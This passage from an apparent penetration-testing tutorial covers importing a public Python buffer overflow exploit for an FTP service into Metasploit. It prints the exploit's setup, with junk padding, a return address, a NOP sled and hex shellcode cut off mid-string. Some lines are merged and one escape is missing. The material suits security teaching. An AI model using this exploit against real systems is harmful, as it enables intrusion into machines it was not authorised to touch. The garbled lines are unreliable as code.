Importing a stack-based buffer overflow exploit

In the first example, we will see how we can import an exploit written in Python to Metasploit. The public exploit can be downloaded from https://www.exploit-db.com/exploits/31255/. Let's analyze the exploit as follows:

import socket as s from sys import argv
host = "127.0.0.1"
fuser = "anonymous" fpass = "anonymous" junk = '\x41' * 2008
espaddress = '\x72\x93\xab\x71' nops = 'x90' * 10
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x33\x31\x53\x12\x83\xeb\xfc\x03\x4f\xba\x47\x59\x93\x2a\x0e" "\xa2\x6b\xab\x71\x2a\x8e\x9a\xa3\x48\xdb\x8f\x73\x1a\x89\x23" "\xff\x4e\x39\xb7\x8d\x46\x4e\x70\x3b\xb1\x61\x81\x8d\x7d\x2d" "\x41\x8f\x01\x2f\x96\x6f\x3b\xe0\xeb\x6e\x7c\x1c\x03\x22\xd5" "\x6b\xb6\xd3\x52\x29\x0b\xd5\xb4\x26\x33\xad\xb1\xf8\xc0\x07" "\xbb\x28\x78\x13\xf3\xd0\xf2\x7b\x24...
